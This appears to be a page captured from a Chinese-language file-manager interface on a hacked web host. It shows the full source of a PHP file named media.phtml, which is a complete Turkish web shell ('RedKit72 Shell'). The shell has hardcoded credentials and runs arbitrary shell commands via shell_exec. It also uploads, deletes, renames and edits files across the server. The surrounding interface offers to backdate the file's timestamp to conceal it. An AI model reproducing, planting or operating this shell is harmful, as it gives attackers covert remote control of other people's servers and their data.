文件操作 - media.phtml
返回文件管理
返回主菜单
删除本文件
文件: /home/tecnoht/public_html/reseventi--it/media.phtml
编辑文件内容
<?php session_start(); $kullanici = "redkit"; $sifre = "redkit72"; if (!isset($_SESSION['giris'])) { if (isset($_POST['k'], $_POST['s']) && $_POST['k'] == $kullanici && $_POST['s'] == $sifre) { $_SESSION['giris'] = true; header("Location: " . $_SERVER['PHP_SELF']); exit; } else { echo '<form method="POST" style="background:#111;color:#0f0;padding:20px;margin-top:10%;text-align:center;font-family:monospace"> <h1>RedKit72 Panel</h1> <input name="k" placeholder="Kullanıcı Adı" style="margin:10px;padding:10px"><br> <input name="s" type="password" placeholder="Şifre" style="margin:10px;padding:10px"><br> <button type="submit" style="padding:10px 30px;background:#0f0;border:none;color:#000;font-weight:bold">Giriş</button> </form>'; exit; } } $cwd = isset($_GET['d']) ? $_GET['d'] : getcwd(); chdir($cwd); $cwd = getcwd(); $dosyalar = scandir($cwd); // --- Dosya silme --- if (isset($_GET['sil'])) { $target = $cwd . "/" . basename($_GET['sil']); if (is_file($target)) { unlink($target); header("Location: ?d=" . urlencode($cwd)); exit; } } // --- Dosya ismi değiştirme işlemi --- if (isset($_GET['rename'])) { $fileToRename = $cwd . "/" . basename($_GET['rename']); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newname'])) { $newName = basename($_POST['newname']); $newPath = $cwd . "/" . $newName; if (strpos($newName, '..') !== false) { $renameMessage = "<p style='color:red'>Geçersiz dosya adı!</p>"; } elseif (!file_exists($fileToRename)) { $renameMessage = "<p style='color:red'>Dosya bulunamadı!</p>"; } elseif (file_exists($newPath)) { $renameMessage = "<p style='color:red'>Bu isimde başka bir dosya var!</p>"; } else { if (rename($fileToRename, $newPath)) { header("Location: ?d=" . urlencode($cwd)); exit; } else { $renameMessage = "<p style='color:red'>Dosya adı değiştirme başarısız.</p>"; } } } echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Dosya Adı Değiştir</title> <style>body{background:#111;color:#eee;font-family:monospace;padding:20px;} input,button{padding:10px;margin-top:10px;width:100%;background:#000;color:#0f0;border:1px solid #0f0;} button{font-weight:bold;cursor:pointer;} </style></head><body>'; echo "<h1>Dosya Adı Değiştir</h1>"; if (isset($renameMessage)) echo $renameMessage; echo "<form method='POST'> Eski Dosya: <input type='text' name='oldname' value='" . htmlspecialchars(basename($fileToRename)) . "' readonly><br> Yeni Dosya Adı: <input type='text' name='newname' required><br> <button type='submit'>Değiştir</button> </form>"; echo "<p><a href='?d=" . urlencode($cwd) . "' style='color:#0f0;'>Geri Dön</a></p>"; echo '</body></html>'; exit; } // --- Dosya düzenleme (edit) --- if (isset($_GET['edit'])) { $fileToEdit = $cwd . "/" . basename($_GET['edit']); if (strpos($fileToEdit, '..') !== false) { die("Geçersiz dosya adı!"); } if (!file_exists($fileToEdit) || !is_file($fileToEdit)) { die("Dosya bulunamadı!"); } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { $content = $_POST['content']; if (file_put_contents($fileToEdit, $content) !== false) { $editMessage = "<p style='color:lime'>Dosya başarıyla kaydedildi.</p>"; } else { $editMessage = "<p style='color:red'>Dosya kaydedilirken hata oluştu.</p>"; } } $fileContent = file_get_contents($fileToEdit); echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Dosya Düzenle</title> <style>body{background:#111;color:#eee;font-family:monospace;padding:20px;} textarea{width:100%;height:400px;background:#000;color:#0f0;border:1px solid #0f0;padding:10px;} button{background:#0f0;color:#000;padding:10px;border:none;margin-top:10px;width:100%;font-weight:bold;cursor:pointer;} a{color:#0f0;} </style></head><body>'; echo "<h1>Dosya Düzenle: " . htmlspecialchars(basename($fileToEdit)) . "</h1>"; if (isset($editMessage)) echo $editMessage; echo "<form method='POST'> <textarea name='content'>" . htmlspecialchars($fileContent) . "</textarea><br> <button type='submit'>Kaydet</button> </form>"; echo "<p><a href='?d=" . urlencode($cwd) . "'>Geri Dön</a></p>"; echo '</body></html>'; exit; } echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>RedKit72 Shell</title> <style> body{background:#111;color:#eee;font-family:monospace;margin:0;padding:20px;} a{color:#0f0;text-decoration:none} .panel{background:#222;padding:15px;border-radius:10px;margin-bottom:20px;box-shadow:0 0 10px #0f08} input,textarea{background:#000;color:#0f0;border:1px solid #0f0;padding:5px;width:100%;margin-top:5px} button{background:#0f0;color:#000;font-weight:bold;padding:10px;border:none;margin-top:10px;width:100%} .dir{color:#0ff} .file{color:#f0f} hr{border-color:#333} </style></head><body>'; echo "<h1>📂 RedKit72 Shell</h1>"; echo "<p>📁 Bulunduğun dizin: <b>$cwd</b></p>"; echo '<div class="panel"><h3>📤 Dosya Yükle</h3> <form method="POST" enctype="multipart/form-data"> <input type="file" name="upload"> <button type="submit">Yükle</button> </form>'; if (isset($_FILES['upload'])) { $tmp = $_FILES['upload']['tmp_name']; $name = basename($_FILES['upload']['name']); if (move_uploaded_file($tmp, $name)) { echo "<p style='color:lime'>Yüklendi: <b>$name</b></p>"; } else { echo "<p style='color:red'>Yüklenemedi!</p>"; } } echo '</div>'; echo '<div class="panel"><h3>💻 Komut Çalıştır</h3> <form method="POST"> <textarea name="cmd" rows="3"></textarea> <button type="submit">Çalıştır</button> </form>'; if (!empty($_POST['cmd'])) { echo "<pre>" . htmlspecialchars(shell_exec($_POST['cmd'])) . "</pre>"; } echo '</div>'; echo '<div class="panel"><h3>📁 Dizin & Dosyalar</h3>'; echo '<table width="100%" border="0" cellpadding="5">'; foreach ($dosyalar as $dosya) { if ($dosya == ".") continue; $yol = "$cwd/$dosya"; $link = htmlspecialchars($_SERVER['PHP_SELF']) . '?d=' . urlencode($cwd . '/' . $dosya); echo '<tr>'; if (is_dir($yol)) { echo "<td class='dir'>📁 <a href='$link'>$dosya</a></td><td></td>"; } else { echo "<td class='file'>📄 $dosya</td>"; echo "<td> <a href='?d=$cwd&sil=" . urlencode($dosya) . "' onclick=\"return confirm('Silinsin mi?')\">🗑️ Sil</a> | <a href='?d=$cwd&rename=" . urlencode($dosya) . "'>✏️ Yeniden Adlandır</a> | <a href='?d=$cwd&edit=" . urlencode($dosya) . "'>📝 Düzenle</a> </td>"; } echo '</tr>'; } echo '</table>'; echo '</div>'; echo '</body></html>'; ?>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件